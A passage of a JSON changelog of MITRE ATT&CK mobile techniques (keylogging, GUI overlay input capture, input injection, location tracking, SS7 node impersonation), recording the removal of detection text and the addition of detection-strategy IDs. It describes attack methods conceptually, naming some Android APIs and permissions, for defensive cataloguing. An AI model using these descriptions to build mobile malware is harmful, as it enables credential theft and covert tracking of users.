"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:12.849000+00:00\", \"old_value\": \"2025-04-16 21:21:53.593000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Mobile security products can detect which applications can request device administrator permissions. Users can view applications with administrator access through the device settings, and may also notice if user data is inexplicably missing. Application vetting services could be extra scrutinous of applications that request device administrator permissions.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0638: Detection of File Deletion" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0cdd66ad-26ac-4338-a764-4972a1e17ee3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-03-30 19:31:31.855000+00:00", + "modified": "2025-10-24 17:48:23.278000+00:00", + "name": "Uninstall Malicious Application", + "description": "Adversaries may include functionality in malware that uninstalls the malicious application from the device. This can be achieved by: \n \n* Abusing device owner permissions to perform silent uninstallation using device owner API calls. \n* Abusing root permissions to delete files from the filesystem. \n* Abusing the accessibility service. This requires sending an intent to the system to request uninstallation, and then abusing the accessibility service to click the proper places on the screen to confirm uninstallation.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1630/001", + "external_id": "T1630.001" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-43.html", + "external_id": "APP-43" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:23.278000+00:00\", \"old_value\": \"2025-04-16 21:21:44.210000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Users can see a list of applications that can use accessibility services in the device settings. Application vetting services could look for use of the accessibility service or features that typically require root access.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1001: Security Updates", + "M1002: Attestation", + "M1011: User Guidance" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (API Calls)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0690: Detection of Uninstall Malicious Application" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--2bb20118-e6c0-41dc-a07c-283ea4dd0fb8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-21 15:27:30.182000+00:00", + "modified": "2025-10-24 17:48:34.355000+00:00", + "name": "Ingress Tool Transfer", + "description": "Adversaries may transfer tools or other files from an external system onto a compromised device to facilitate follow-on actions. Files may be copied from an external adversary-controlled system through the command and control channel or through alternate protocols with another tool such as FTP.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "command-and-control" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1544", + "external_id": "T1544" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:34.355000+00:00\", \"old_value\": \"2025-04-16 21:21:47.175000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services could look for connections to unknown domains or IP addresses. Application vetting services may indicate precisely what content was requested during application execution.\"}}}", + "previous_version": "2.2", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Network Communication)", + "DS0041: Application Vetting (Permissions Requests)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0718: Detection of Ingress Tool Transfer" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a8c31121-852b-46bd-9ba4-674ae5afe7ad", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:27.660000+00:00", + "modified": "2025-10-24 17:49:11.864000+00:00", + "name": "Input Capture", + "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal device usage, users often provide credentials to various locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Keylogging](https://attack.mitre.org/techniques/T1417/001)) or rely on deceiving the user into providing input into what they believe to be a genuine application prompt (e.g. [GUI Input Capture](https://attack.mitre.org/techniques/T1417/002)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1417", + "external_id": "T1417" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html", + "external_id": "APP-31" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-13.html", + "external_id": "AUT-13" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "2.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.864000+00:00\", \"old_value\": \"2025-04-16 21:21:52.964000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Application vetting services can look for applications requesting the permissions granting access to accessibility services or application overlay. Users can view and manage installed third-party keyboards.\"}}}", + "previous_version": "2.3", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance", + "M1012: Enterprise Policy" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0705: Detection of Input Capture" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4c58b7c6-a839-4789-bda9-9de33e4d4512", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-05 19:48:31.195000+00:00", + "modified": "2025-10-24 17:48:45.045000+00:00", + "name": "GUI Input Capture", + "description": "Adversaries may mimic common operating system GUI components to prompt users for sensitive information with a seemingly legitimate prompt. The operating system and installed applications often have legitimate needs to prompt the user for sensitive information such as account credentials, bank account information, or Personally Identifiable Information (PII). Compared to traditional PCs, the constrained display size of mobile devices may impair the ability to provide users with contextual information, making users more susceptible to this technique\u2019s use.(Citation: Felt-PhishingOnMobileDevices)\n\nThere are several approaches adversaries may use to mimic this functionality. Adversaries may impersonate the identity of a legitimate application (e.g. use the same application name and/or icon) and, when installed on the device, may prompt the user for sensitive information.(Citation: eset-finance) Adversaries may also send fake device notifications to the user that may trigger the display of an input prompt when clicked.(Citation: Group IB Gustuff Mar 2019) \n\nAdditionally, adversaries may display a prompt on top of a running, legitimate application to trick users into entering sensitive information into a malicious application rather than the legitimate application. Typically, adversaries need to know when the targeted application and the individual activity within the targeted application is running in the foreground to display the prompt at the proper time. Adversaries can abuse Android\u2019s accessibility features to determine which application is currently in the foreground.(Citation: ThreatFabric Cerberus) Two known approaches to displaying a prompt include:\n\n* Adversaries start a new activity on top of a running legitimate application.(Citation: Felt-PhishingOnMobileDevices)(Citation: Hassell-ExploitingAndroid) Android 10 places new restrictions on the ability for an application to start a new activity on top of another application, which may make it more difficult for adversaries to utilize this technique.(Citation: Android Background)\n* Adversaries create an application overlay window on top of a running legitimate application. Applications must hold the `SYSTEM_ALERT_WINDOW` permission to create overlay windows. This permission is handled differently than typical Android permissions and, at least under certain conditions, is automatically granted to applications installed from the Google Play Store.(Citation: Cloak and Dagger)(Citation: NowSecure Android Overlay)(Citation: Skycure-Accessibility) The `SYSTEM_ALERT_WINDOW` permission and its associated ability to create application overlay windows are expected to be deprecated in a future release of Android in favor of a new API.(Citation: XDA Bubbles)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "credential-access" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1417/002", + "external_id": "T1417.002" + }, + { + "source_name": "Felt-PhishingOnMobileDevices", + "description": "A.P. Felt and D. Wagner. (2011, May 26). Phishing on Mobile Devices. Retrieved August 25, 2016.", + "url": "http://w2spconf.com/2011/papers/felt-mobilephishing.pdf" + }, + { + "source_name": "Android Background", + "description": "Android Developers. (n.d.). Restrictions on starting activities from the background. Retrieved September 18, 2019.", + "url": "https://developer.android.com/guide/components/activities/background-starts" + }, + { + "source_name": "Cloak and Dagger", + "description": "Fratantonio, Y., et al.. (2017). Cloak & Dagger. Retrieved September 12, 2024.", + "url": "https://cloak-and-dagger.org/" + }, + { + "source_name": "Group IB Gustuff Mar 2019", + "description": "Group-IB. (2019, March 28). Group-IB uncovers Android Trojan named \u00abGustuff\u00bb capable of targeting more than 100 global banking apps, cryptocurrency and marketplace applications. Retrieved September 3, 2019.", + "url": "https://www.group-ib.com/blog/gustuff" + }, + { + "source_name": "eset-finance", + "description": "Luk\u00e1\u0161 \u0160tefanko. (2016, July 7). Fake finance apps on Google Play target users from around the world. Retrieved September 24, 2018.", + "url": "https://www.welivesecurity.com/2018/09/19/fake-finance-apps-google-play-target-around-world/" + }, + { + "source_name": "Hassell-ExploitingAndroid", + "description": "R. Hassell. (2011, October 12-13). Exploiting Androids for Fun and Profit. Retrieved October 10, 2019.", + "url": "https://conference.hitb.org/hitbsecconf2011kul/materials/D1T1%20-%20Riley%20Hassell%20-%20Exploiting%20Androids%20for%20Fun%20and%20Profit.pdf" + }, + { + "source_name": "XDA Bubbles", + "description": "Rahman, M.. (2019, May 8). Bubbles in Android Q will fully replace the overlay API in a future Android version. Retrieved September 18, 2019.", + "url": "https://www.xda-developers.com/android-q-system-alert-window-deprecate-bubbles/" + }, + { + "source_name": "NowSecure Android Overlay", + "description": "Ramirez, T.. (2017, May 25). \u2018SAW\u2019-ing through the UI: Android overlay malware and the System Alert Window permission explained. Retrieved September 18, 2019.", + "url": "https://www.nowsecure.com/blog/2017/05/25/android-overlay-malware-system-alert-window-permission/" + }, + { + "source_name": "ThreatFabric Cerberus", + "description": "ThreatFabric. (2019, August). Cerberus - A new banking Trojan from the underworld. Retrieved September 18, 2019.", + "url": "https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html" + }, + { + "source_name": "Skycure-Accessibility", + "description": "Yair Amit. (2016, March 3). \u201cAccessibility Clickjacking\u201d \u2013 The Next Evolution in Android Malware that Impacts More Than 500 Million Devices. Retrieved November 17, 2024.", + "url": "https://web.archive.org/web/20170211204349/https://www.skycure.com/blog/accessibility-clickjacking/" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html", + "external_id": "APP-31" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:45.045000+00:00\", \"old_value\": \"2024-11-17 18:58:58.592000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Android users can view and manage which applications hold the `SYSTEM_ALERT_WINDOW` permission through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions). \\n\\nApplication vetting services can look for applications requesting the `android.permission.SYSTEM_ALERT_WINDOW` permission in the list of permissions in the app manifest. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Android users can view and manage which applications hold the `SYSTEM_ALERT_WINDOW` permission through the device settings in Apps & notifications -> Special app access -> Display over other apps (the exact menu location may vary between Android versions). \\n-\\n-Application vetting services can look for applications requesting the `android.permission.SYSTEM_ALERT_WINDOW` permission in the list of permissions in the app manifest. \"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1012: Enterprise Policy" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0676: Detection of GUI Input Capture" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b1c95426-2550-4621-8028-ceebf28b3a47", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-05 19:45:03+00:00", + "modified": "2025-10-24 17:49:14.276000+00:00", + "name": "Keylogging", + "description": "Adversaries may log user keystrokes to intercept credentials or other information from the user as the user types them.\n\nSome methods of keylogging include:\n\n* Masquerading as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n* Abusing accessibility features. On Android, adversaries may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed. \n*Additional methods of keylogging may be possible if root access is available. \n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "credential-access" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1417/001", + "external_id": "T1417.001" + }, + { + "source_name": "Zeltser-Keyboard", + "description": "Lenny Zeltser. (2016, July 30). Security of Third-Party Keyboard Apps on Mobile Devices. Retrieved December 21, 2016.", + "url": "https://zeltser.com/third-party-keyboards-security/" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-13.html", + "external_id": "AUT-13" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:14.276000+00:00\", \"old_value\": \"2025-04-16 21:21:53.936000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"On Android, users can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, users can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard. \\n\\nApplication vetting services can look for applications requesting the `android.permission.BIND_ACCESSIBILITY_SERVICE` permission in a service declaration. On Android, users can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-On Android, users can view and manage which applications have third-party keyboard access through the device settings in System -> Languages & input -> Virtual keyboard. On iOS, users can view and manage which applications have third-party keyboard access through the device settings in General -> Keyboard. \\n-\\n-Application vetting services can look for applications requesting the `android.permission.BIND_ACCESSIBILITY_SERVICE` permission in a service declaration. On Android, users can view and manage which applications can use accessibility services through the device settings in Accessibility. The exact device settings menu locations may vary between operating system versions.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance", + "M1012: Enterprise Policy" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0661: Detection of Keylogging" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--d1f1337e-aea7-454c-86bd-482a98ffaf62", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-15 15:26:22.356000+00:00", + "modified": "2025-10-24 17:49:25.635000+00:00", + "name": "Input Injection", + "description": "A malicious application can inject input to the user interface to mimic user interaction through the abuse of Android's accessibility APIs.\n\n[Input Injection](https://attack.mitre.org/techniques/T1516) can be achieved using any of the following methods:\n\n* Mimicking user clicks on the screen, for example to steal money from a user's PayPal account.(Citation: android-trojan-steals-paypal-2fa)\n* Injecting global actions, such as `GLOBAL_ACTION_BACK` (programatically mimicking a physical back button press), to trigger actions on behalf of the user.(Citation: Talos Gustuff Apr 2019)\n* Inserting input into text fields on behalf of the user. This method is used legitimately to auto-fill text fields by applications such as password managers.(Citation: bitwarden autofill logins)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "impact" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1516", + "external_id": "T1516" + }, + { + "source_name": "bitwarden autofill logins", + "description": "Bitwarden. (n.d.). Auto-fill logins on Android . Retrieved September 15, 2019.", + "url": "https://help.bitwarden.com/article/auto-fill-android/" + }, + { + "source_name": "android-trojan-steals-paypal-2fa", + "description": "Luk\u00e1\u0161 \u0160tefanko. (2018, December 11). Android Trojan steals money from PayPal accounts even with 2FA on. Retrieved July 11, 2019.", + "url": "https://www.welivesecurity.com/2018/12/11/android-trojan-steals-money-paypal-accounts-2fa/" + }, + { + "source_name": "Talos Gustuff Apr 2019", + "description": "Vitor Ventura. (2019, April 9). Gustuff banking botnet targets Australia . Retrieved September 3, 2019.", + "url": "https://blog.talosintelligence.com/2019/04/gustuff-targets-australia.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Luk\u00e1\u0161 \u0160tefanko, ESET" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:25.635000+00:00\", \"old_value\": \"2025-04-16 21:21:56.042000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Users can view applications that have registered accessibility services in the accessibility menu within the device settings.\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1011: User Guidance", + "M1012: Enterprise Policy" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0612: Detection of Input Injection" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--99e6295e-741b-4857-b6e5-64989eb039b4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-10-25 14:48:12.267000+00:00", + "modified": "2025-10-24 17:49:08.214000+00:00", + "name": "Location Tracking", + "description": "Adversaries may track a device\u2019s physical location through use of standard operating system APIs via malicious or exploited applications on the compromised device. \n\n \n\nOn Android, applications holding the `ACCESS_COAURSE_LOCATION` or `ACCESS_FINE_LOCATION` permissions provide access to the device\u2019s physical location. On Android 10 and up, declaration of the `ACCESS_BACKGROUND_LOCATION` permission in an application\u2019s manifest will allow applications to request location access even when the application is running in the background.(Citation: Android Request Location Permissions) Some adversaries have utilized integration of Baidu map services to retrieve geographical location once the location access permissions had been obtained.(Citation: PaloAlto-SpyDealer)(Citation: Palo Alto HenBox) \n\n \n\nOn iOS, applications must include the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file depending on the extent of requested access to location information.(Citation: Apple Requesting Authorization for Location Services) On iOS 8.0 and up, applications call `requestWhenInUseAuthorization()` to request access to location information when the application is in use or `requestAlwaysAuthorization()` to request access to location information regardless of whether the application is in use. With elevated privileges, an adversary may be able to access location data without explicit user consent with the `com.apple.locationd.preauthorized` entitlement key.(Citation: Google Project Zero Insomnia)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1430", + "external_id": "T1430" + }, + { + "source_name": "Palo Alto HenBox", + "description": "A. Hinchliffe, M. Harbison, J. Miller-Osborn, et al. (2018, March 13). HenBox: The Chickens Come Home to Roost. Retrieved September 9, 2019.", + "url": "https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/" + }, + { + "source_name": "Android Request Location Permissions", + "description": "Android Developers. (2022, March 24). Request Location Permissions. Retrieved April 1, 2022.", + "url": "https://developer.android.com/training/location/permissions" + }, + { + "source_name": "Apple Requesting Authorization for Location Services", + "description": "Apple Developers. (n.d.). Requesting Authorization for Location Services. Retrieved April 1, 2022.", + "url": "https://developer.apple.com/documentation/corelocation/requesting_authorization_for_location_services" + }, + { + "source_name": "Google Project Zero Insomnia", + "description": "I. Beer. (2019, August 29). Implant Teardown. Retrieved June 2, 2020.", + "url": "https://googleprojectzero.blogspot.com/2019/08/implant-teardown.html" + }, + { + "source_name": "PaloAlto-SpyDealer", + "description": "Wenjun Hu, Cong Zheng and Zhi Xu. (2017, July 6). SpyDealer: Android Trojan Spying on More Than 40 Apps. Retrieved September 18, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/" + }, + { + "source_name": "NIST Mobile Threat Catalogue", + "url": "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-24.html", + "external_id": "APP-24" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_tactic_type": [ + "Post-Adversary Device Access" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:08.214000+00:00\", \"old_value\": \"2025-04-16 21:21:52.460000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Android applications requesting the `ACCESS_COARSE_LOCATION`, `ACCESS_FINE_LOCATION`, or `ACCESS_BACKGROUND_LOCATION` permissions and iOS applications including the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file could be scrutinized during the application vetting process. \\n\\n \\n\\nIn both Android (6.0 and up) and iOS, users can view which applications have the permission to access the device location through the device settings screen and revoke permissions as necessary. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-Android applications requesting the `ACCESS_COARSE_LOCATION`, `ACCESS_FINE_LOCATION`, or `ACCESS_BACKGROUND_LOCATION` permissions and iOS applications including the `NSLocationWhenInUseUsageDescription`, `NSLocationAlwaysAndWhenInUseUsageDescription`, and/or `NSLocationAlwaysUsageDescription` keys in their `Info.plist` file could be scrutinized during the application vetting process. \\n-\\n- \\n-\\n-In both Android (6.0 and up) and iOS, users can view which applications have the permission to access the device location through the device settings screen and revoke permissions as necessary. \"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1006: Use Recent OS Version", + "M1011: User Guidance", + "M1012: Enterprise Policy", + "M1014: Interconnection Filtering" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0041: Application Vetting (Permissions Requests)", + "DS0042: User Interface (System Settings)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0675: Detection of Location Tracking" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--0f4fb01b-d57a-4375-b7a2-342c9d3248f7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-04-05 19:49:58.938000+00:00", + "modified": "2025-10-24 17:48:24.309000+00:00", + "name": "Impersonate SS7 Nodes", + "description": "Adversaries may exploit the lack of authentication in signaling system network nodes to track the location of mobile devices by impersonating a node.(Citation: Engel-SS7)(Citation: Engel-SS7-2008)(Citation: 3GPP-Security)(Citation: Positive-SS7)(Citation: CSRIC5-WG10-FinalReport) \n\n \n\nBy providing the victim\u2019s MSISDN (phone number) and impersonating network internal nodes to query subscriber information from other nodes, adversaries may use data collected from each hop to eventually determine the device\u2019s geographical cell area or nearest cell tower.(Citation: Engel-SS7)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "collection" + }, + { + "kill_chain_name": "mitre-mobile-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1430/002", + "external_id": "T1430.002" + }, + { + "source_name": "3GPP-Security", + "description": "3GPP. (2000, January). A Guide to 3rd Generation Security. Retrieved December 19, 2016.", + "url": "http://www.3gpp.org/ftp/tsg_sa/wg3_security/_specs/33900-120.pdf" + }, + { + "source_name": "CSRIC5-WG10-FinalReport", + "description": "Communications Security, Reliability, Interoperability Council (CSRIC). (2017, March). Working Group 10 Legacy Systems Risk Reductions Final Report. Retrieved May 24, 2017.", + "url": "https://web.archive.org/web/20200330012714/https://www.fcc.gov/files/csric5-wg10-finalreport031517pdf" + }, + { + "source_name": "CSRIC-WG1-FinalReport", + "description": 